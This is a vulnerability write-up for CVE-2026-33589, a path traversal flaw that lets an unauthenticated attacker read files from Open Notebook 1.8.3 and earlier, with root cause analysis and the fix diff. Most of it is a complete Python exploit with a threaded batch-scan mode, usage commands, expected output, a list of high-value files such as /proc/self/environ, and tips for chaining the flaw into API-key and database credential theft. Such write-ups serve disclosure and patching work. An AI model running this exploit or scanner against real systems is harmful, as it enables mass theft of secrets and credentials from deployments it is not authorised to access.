#Summary
CVE-2026-33589 is a path traversal vulnerability in Open Notebook versions up to 1.8.3 that allows unauthenticated local file inclusion (LFI). The vulnerability exists in the file upload API endpoint, which accepts an arbitrary file_path parameter without validating that the requested path is within the intended uploads directory. An attacker can issue a single HTTP POST request to read any file readable by the container process, including system files (/etc/passwd), environment variables (/proc/self/environ), and application secrets.
CVSS Score: 8.2 HIGH
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Authentication Required: No (default configuration is unauthenticated)
#Affected versions
- Open Notebook
1.8.3and all earlier versions - vulnerable - Open Notebook
1.8.4and later - patched
The fix was released on May 7, 2026 in commit 70a466a640d75de398e34cf6e492aeb576cbffcf.
Default configuration is vulnerable - the OPEN_NOTEBOOK_PASSWORD environment variable is unset by default, which causes the authentication middleware to skip all authorization checks.
#Root cause analysis
#Vulnerable code path
The vulnerability exists in api/routers/sources.py inside the create_source() function. Open Notebook includes a "backward compatibility" code path where clients can supply a pre-existing file_path instead of uploading a file:
elif source_data.type == "upload":
# Use uploaded file path or provided file_path (backward compatibility)
final_file_path = file_path or source_data.file_path
if not final_file_path:
raise HTTPException(
status_code=400,
detail="File upload or file_path is required for upload type",
)
content_state["file_path"] = final_file_path # ← no bounds check
content_state["delete_source"] = source_data.delete_sourceThe source_data.file_path parameter is defined in the SourceCreate Pydantic model with no path validation:
class SourceCreate(BaseModel):
type: str
file_path: Optional[str] = Field(None, description="File path for upload type")
...#How input reaches the sink
The attacker-supplied file_path string is passed directly to extract_content() (from the content_core library) without any boundary check. The extracted text is stored in the Source.full_text field and returned in the HTTP response.
The missing invariant is: the resolved absolute path must be a descendant of UPLOADS_FOLDER. Neither the endpoint logic nor the Pydantic model enforces this constraint.
#Attack prerequisites
- The application is reachable on its API port (default: 5055/tcp)
- No authentication is required when
OPEN_NOTEBOOK_PASSWORDis unset (default) - The target file is readable by the container process (true for system files, application config, and environment variables)
- Synchronous processing is enabled (default:
async_processing=false), so results are returned immediately in the response
#Patch diff
#What the fix does
Fix commit 70a466a adds path boundary validation using Python's Path.resolve() to canonicalize paths and prevent traversal via symlinks and relative components:
+ # Validate file_path is within the uploads directory to prevent LFI
+ uploads_resolved = Path(UPLOADS_FOLDER).resolve()
+ file_resolved = Path(final_file_path).resolve()
+ if not str(file_resolved).startswith(str(uploads_resolved) + os.sep):
+ raise HTTPException(
+ status_code=400,
+ detail="Invalid file path: must be within the uploads directory",
+ )
content_state["file_path"] = final_file_pathThe patch also hardens the filename sanitization in generate_unique_filename() by using os.path.basename() to strip directory traversal sequences from user-supplied filenames before building the final path.
#Proof of concept
#exploit.py - Open Notebook Path Traversal LFI PoC
#!/usr/bin/env python3
"""
CVE-2026-33589 - Open Notebook Local File Inclusion (LFI) via unsanitized file_path
Affected: Open Notebook <= 1.8.3
Type: LFI / Path Traversal (CWE-22)
The POST /api/sources/json endpoint accepts a JSON body with type="upload" and
an arbitrary file_path string. No path boundary check is performed, so any file
readable by the container process can be exfiltrated. No authentication is
required when OPEN_NOTEBOOK_PASSWORD is unset (the default).
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 5055
python exploit.py --host 192.168.1.10 --port 5055 --file /proc/self/environ
python exploit.py --host https://notebook.corp.com --file /etc/passwd
python exploit.py --host https://notebook.corp.com --auth-token mypassword
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import sys
from urllib.parse import urlparse
try:
import requests
requests.packages.urllib3.disable_warnings()
except ImportError:
print("ERROR: 'requests' library required. Install with: pip install requests", file=sys.stderr)
sys.exit(2)
CVE_ID = "CVE-2026-33589"
VULN_TYPE = "LFI"
DEFAULT_PORT = 5055
ENDPOINT = "/api/sources/json"
TIMEOUT = 30
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _build_session(auth_token: str | None) -> requests.Session:
s = requests.Session()
s.verify = False
if auth_token:
s.headers["Authorization"] = f"Bearer {auth_token}"
return s
def _try_exploit(
host: str,
port: int,
use_tls: bool,
base_path: str = "/",
file: str = "/etc/passwd",
auth_token: str | None = None,
) -> tuple[bool, str]:
"""Silent probe for --list scan mode. Never prints or exits."""
scheme = "https" if use_tls else "http"
base = base_path.rstrip("/")
url = f"{scheme}://{host}:{port}{base}{ENDPOINT}"
payload = {"type": "upload", "file_path": file}
try:
sess = _build_session(auth_token)
resp = sess.post(url, json=payload, timeout=TIMEOUT)
if resp.status_code == 401:
return False, "auth required (401) - set --auth-token"
if resp.status_code == 400:
try:
detail = resp.json().get("detail", "")
except Exception:
detail = resp.text[:120]
if "uploads directory" in detail or "Invalid file path" in detail:
return False, "blocked - path traversal check active (patched)"
return False, f"400 error: {detail[:120]}"
if resp.status_code != 200:
return False, f"unexpected HTTP {resp.status_code}"
try:
data = resp.json()
except Exception:
return False, "non-JSON 200 response"
full_text = data.get("full_text") or ""
if not full_text:
return False, "200 but full_text empty - file may be binary or unreadable"
first_line = full_text.splitlines()[0] if full_text.splitlines() else full_text[:80]
return True, f"file read - first line: {first_line[:120]}"
except requests.exceptions.ConnectionError as e:
return False, f"unreachable (ConnectionError: {e.__class__.__name__})"
except requests.exceptions.Timeout:
return False, "unreachable (Timeout)"
except Exception as e:
return False, f"error ({e.__class__.__name__}: {e})"
def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
"""Parse one line into (host, port, use_tls, path). Returns None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(
targets_file: str,
default_port: int,
workers: int = 10,
file: str = "/etc/passwd",
auth_token: str | None = None,
) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
h, p, tls, path = t
label = f"{'https' if tls else 'http'}://{h}:{p}"
ok, evidence = _try_exploit(h, p, tls, base_path=path, file=file, auth_token=auth_token)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
tag = "[+]" if ok else "[-]"
state = "Exploited" if ok else "Not vulnerable"
print(f" {tag} {label} - {state}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(
host: str,
port: int,
use_tls: bool,
base_path: str,
file: str,
auth_token: str | None,
) -> None:
header(host, port)
scheme = "https" if use_tls else "http"
base = base_path.rstrip("/")
url = f"{scheme}://{host}:{port}{base}{ENDPOINT}"
step(1, f"Checking API health at {scheme}://{host}:{port}/health")
sess = _build_session(auth_token)
try:
health = sess.get(f"{scheme}://{host}:{port}/health", timeout=10)
section("HEALTH CHECK", f"HTTP {health.status_code} - {health.text.strip()[:200]}")
if health.status_code == 401:
done(False, "API requires authentication - use --auth-token")
except requests.exceptions.ConnectionError:
section("HEALTH CHECK", "Connection refused - service may not be running on this port")
done(False, f"Cannot reach {scheme}://{host}:{port}/health - connection refused")
except requests.exceptions.Timeout:
section("HEALTH CHECK", "Request timed out")
done(False, f"Health check timed out after 10 s - host unreachable")
step(2, f"Sending LFI payload: file_path={file!r}")
payload = {"type": "upload", "file_path": file}
try:
resp = sess.post(url, json=payload, timeout=TIMEOUT)
except requests.exceptions.ConnectionError as e:
done(False, f"Connection failed during exploit request: {e}")
except requests.exceptions.Timeout:
done(False, f"Request timed out after {TIMEOUT}s - service may be overloaded")
section(f"HTTP RESPONSE (status={resp.status_code})", resp.text[:2000])
if resp.status_code == 401:
done(False, "Authentication required (401) - supply --auth-token")
if resp.status_code == 400:
try:
detail = resp.json().get("detail", resp.text)
except Exception:
detail = resp.text
if "uploads directory" in detail or "Invalid file path" in detail:
done(False, f"Target is patched - path traversal check rejected the request: {detail}")
done(False, f"Request rejected with 400: {detail[:300]}")
if resp.status_code != 200:
done(False, f"Unexpected HTTP {resp.status_code} - no evidence of exploitation")
try:
data = resp.json()
except Exception:
done(False, f"HTTP 200 but response is not valid JSON - {resp.text[:200]}")
full_text = data.get("full_text") or ""
if not full_text:
step(3, "Response has empty full_text - file may be binary or not text-parseable")
step(3, f"Retrying via multipart endpoint POST {base}/api/sources with form data")
try:
resp2 = sess.post(
f"{scheme}://{host}:{port}{base}/api/sources",
data={"type": "upload", "file_path": file},
timeout=TIMEOUT,
)
section(f"MULTIPART RESPONSE (status={resp2.status_code})", resp2.text[:2000])
if resp2.status_code == 200:
try:
data2 = resp2.json()
full_text = data2.get("full_text") or ""
except Exception:
pass
except Exception:
pass
if not full_text:
done(False, f"File read returned empty content - '{file}' may be binary or unreadable. Try --file /etc/passwd")
section(f"FILE CONTENT ({file})", full_text[:3000])
lines = full_text.splitlines()
first_line = lines[0].strip() if lines else full_text[:80].strip()
done(True, f"File '{file}' read - first line: {first_line[:120]}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} - Open Notebook LFI exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument(
"--host",
help="Target hostname, IP, or full URL (e.g. https://host:5055 or http://host:5055/prefix)",
)
target_grp.add_argument(
"--list",
metavar="FILE",
help="File with one target per line for batch scan",
)
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
parser.add_argument("--file", default="/etc/passwd", help="File path to read from the target (default: /etc/passwd)")
parser.add_argument("--auth-token", default=None, help="Bearer token if OPEN_NOTEBOOK_PASSWORD is set on the target")
parser.add_argument("--workers", type=int, default=10, help="Worker threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(
args.list,
default_port=args.port,
workers=args.workers,
file=args.file,
auth_token=args.auth_token,
)
else:
parsed = _parse_target(args.host, args.port)
if parsed is None:
print("ERROR: could not parse --host value", file=sys.stderr)
sys.exit(2)
host, port, use_tls, path = parsed
if args.tls: use_tls = True
if args.no_tls: use_tls = False
exploit(host, port, use_tls, path, args.file, args.auth_token)#Usage
Read /etc/passwd from a target (default):
python exploit.py --host 192.168.1.10 --port 5055Read environment variables which may contain API keys:
python exploit.py --host 192.168.1.10 --port 5055 --file /proc/self/environRead application configuration:
python exploit.py --host 192.168.1.10 --port 5055 --file /app/open_notebook/config.pyBatch scan multiple targets with concurrent workers:
python exploit.py --list targets.txt --workers 20Target an instance with authentication enabled (password previously recovered):
python exploit.py --host notebook.corp.com --port 443 --tls --file /etc/passwd --auth-token your_password#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-33589
Type: LFI | Target: 127.0.0.1:5055
============================================================
[STEP 1] Checking API health at http://127.0.0.1:5055/health
--- HEALTH CHECK ---
HTTP 200 - {"status":"healthy"}
---
[STEP 2] Sending LFI payload: file_path='/etc/passwd'
--- HTTP RESPONSE (status=200) ---
{"id":"source:wkqu0rgymhf4hem8u0xf","title":"passwd",...,"full_text":"root:x:0:0:root:/root:/bin/bash\n..."}
---
--- FILE CONTENT (/etc/passwd) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
---
============================================================
RESULT : SUCCESS
EVIDENCE: File '/etc/passwd' read - first line: root:x:0:0:root:/root:/bin/bash
============================================================#Expected output (patched target)
============================================================
ALIM EXPLOIT CVE-2026-33589
Type: LFI | Target: 127.0.0.1:5056
============================================================
[STEP 1] Checking API health at http://127.0.0.1:5056/health
--- HEALTH CHECK ---
HTTP 200 - {"status":"healthy"}
---
[STEP 2] Sending LFI payload: file_path='/etc/passwd'
--- HTTP RESPONSE (status=400) ---
{"detail":"Invalid file path: must be within the uploads directory"}
---
============================================================
RESULT : FAILURE
EVIDENCE: Target is patched - path traversal check rejected the request: Invalid file path: must be within the uploads directory
============================================================#Exploitation notes
#Preconditions
- Open Notebook is running and reachable on the API port (default 5055/tcp)
- Default configuration is unauthenticated (no
OPEN_NOTEBOOK_PASSWORDenvironment variable set) - The target file is readable by the container process (true for system files, application source code, environment variables, and data directories)
- No prior authentication, session token, or privilege escalation is required
#High-value target files
/proc/self/environ- environment variables including API keys, encryption keys, and database credentials/app/open_notebook/config.py- application configuration and secrets/etc/passwd- system user enumeration/etc/hosts- internal network topology discovery/app/data/- SurrealDB data directory and database files
#Success detection
The exploit is network-observable. A successful read returns HTTP 200 with the file content in the full_text JSON field. For /etc/passwd, the response contains system users (e.g., root:x:0:0:root:/root:/bin/bash). Environment files contain null-separated variable assignments.
A patched target returns HTTP 400 with error message: "Invalid file path: must be within the uploads directory".
#Reliability
The exploit is fully reliable against vulnerable instances. The vulnerability is a simple missing bounds check with no race conditions, timing dependencies, or probabilistic elements. Success is deterministic for readable files.
#Chaining potential
This LFI can be chained with other vulnerabilities:
- Credential theft: Read
/proc/self/environto extractOPENAI_API_KEY,ANTHROPIC_API_KEY, orSURREAL_PASSWORD - Config disclosure: Read
/app/open_notebook/config.pyto enumerate supported file types and processing options - Database access: Read SurrealDB data files from
/app/data/if binary reading succeeds - Authorization bypass: If the extracted credentials belong to privileged accounts (e.g., root), combined with other vulnerabilities they could enable privilege escalation
#References
- CVE Record: CVE-2026-33589 - NVD entry
- GitHub Advisory: GHSA-842v-h4cj-r646 - Reported by CERT-EU Offensive Security Team
- Fix Commit: 70a466a640d75de398e34cf6e492aeb576cbffcf - Path traversal validation patch
- Project: Open Notebook on GitHub - Affected software repository